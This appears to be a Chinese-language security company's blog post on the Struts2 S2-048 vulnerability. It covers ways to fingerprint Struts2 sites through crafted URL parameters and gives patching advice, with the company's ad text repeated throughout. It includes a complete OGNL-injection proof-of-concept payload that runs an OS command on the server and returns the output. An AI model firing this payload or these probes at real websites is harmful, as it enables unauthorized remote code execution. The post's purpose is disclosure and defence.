eSafe白帽駭客資安網-網絡安全背後的巨人,提供駭客,網站入侵測試,網站被駭,網站漏洞,駭客入侵,資訊安全,入侵,ecshop,wordpress,漏洞修復,木馬清除,資安服務

如何判斷struts2開發的網站存在漏洞?

 
 
      2017年7月7號,struts2 048 爆出高危代碼執行漏洞,眾多struts2架構為基
 
礎開發的網站、平台都中招,危害嚴重,尤其一些BC平台網站,以及金融平台網站,
 
都被入侵,主機也遭受到攻擊,許多用戶數據被竊取,據eSafe白帽資安網大體統計,BC行
 
業的網站百分之30都被黑。
 
 
如何判斷是否是以struts2 s2-048開發的網站,eSafe白帽資安網工程師有兩種方案,這兩種
 
判斷struts2架構開發的網站方案,都有相應的要求,不能做到絕對化,也基本上可
 
以判斷出是否含有struts2 048 網站漏洞。eSafe白帽資安網公司是一家專注於:主機安全
 
網站安全網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服
 
務提供商。
 

 
 
通常的判斷是否是struts2漏洞有以下三種方案:
 
第一個方案、通過網站頁面的回顯錯誤消息來判斷,頁面不回顯錯誤消息時則無效。
 
第二個方案通過網頁後綴來判斷,如.do .action,有可能是不准的,因為JBOSS系統也是以DO為後綴,其實 JBoss和tomcat不是一回事。
 
第三個方案判斷 /struts/webconsole.html 是否存在來進行判斷,需要 devMode 為 true。
 
 
根據以上三個方案,esafe網站安全檢測公司統計出兩個確實可行的漏洞檢測方案:
 
方案一、
 
通過 struts2 CheckboxInterceptor函數:我們安全工程師在調試Struts2漏洞的過
 
程中找到的方案。本來是想找到一個百分之百漏洞通殺的方案,但是一路笑來,結果
 
是沒有找到。本質上的意思:是配合 HTML 中的 checkbox 來使用的,當某個參數沒
 
有被提交的時候,則認定這個 checkbox 值沒有被選中。
 
 
struts2 漏洞的前提條件:需要有一個能夠回顯到網站頁面上的字符串類型的參數。
 
我們目前碰到最多的地方就是各個網站上面的搜索功能,搜索功能往往會將 keyword
 
的參數值回顯到網站前端上面去。eSafe白帽資安網公司是一家專注於:主機安全、網站安
 
全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務提供商。
 
 
我們來看一下struts2 CheckboxInterceptor 的 intercept 方案的代碼:如下圖:
 
它會檢查所有的參數,發現如果有參數名是 __checkbox_param 這種格式的,並且參
 
數中不存在param參數,則它會添加一個名為 param 的參數,並將其值設置false。
 
 
漏洞案例:
 
原始 URL: http://esafe.tw.com/?keyword=xxx,且頁面回顯出了 xxx結果。
 
檢測 URL: http://esafe.tw.com/?__checkbox_keyword=xxx,如果發現回顯變成
 
了false,則可以認定目標是基於 Struts2 開發的網站。
 
 
原理就是CheckboxInterceptor 發現了一個名為 __checkbox_keyword 的參數,但是
 
沒有發現 keyword 參數,則它會添加一個 keyword 參數,並將其值設置為 false。
 
實例截圖:
 

 
 
方案二、
 
通過 actionErrors。此方法最早應該是由 kxlzx 在好些年前提出來的。
 
要求是對應的 Action 需要繼承自 ActionSupport 類。
 
利用方法:
 
如原始 URL 為 http://esafe.tw.com/
 
則檢測所用的 URL 為 http://esafe.tw.com/?actionErrors=1111
 
如果返回的頁面出現異常,則可以認定為目標是基於 Struts2 構建的。
 
異常包括但可能會出現以下幾種特殊現象:
 
1、網站頁面可能會直接出現 404 或者 500 等錯誤。
 
2、網站頁面上輸出了與業務有關錯誤消息,或者1111被回顯到了網站前端的頁面上。
 
3、網站頁面的內容結構發生了明顯的變化。eSafe白帽資安網公司是一家專注於:主機安全、
 
4、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
 
提供商。
 
5、網站頁面發生了301重定向。
 
 
Struts2(S2-048)POC:
 
name=%{(#_=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
 
struts2 漏洞利用詳情如下圖:
 
struts2 漏洞修復方案如下:
 
1.不啟用Struts2-struts1-plugin插件。
 
2.升級struts2的版本到最新Apache Struts 2.5.10.1版本。
 
3.始終使用資源鍵,而不是將原始消息傳遞給ActionMessage。
 
4.不使用Struts2目錄下的showcase.war
 
如果對Struts2 漏洞修復不懂的話,建議找專業的網站安全公司來解決,國內也就esafe.tw和綠盟等安全公司比較專業.
 
 
分享: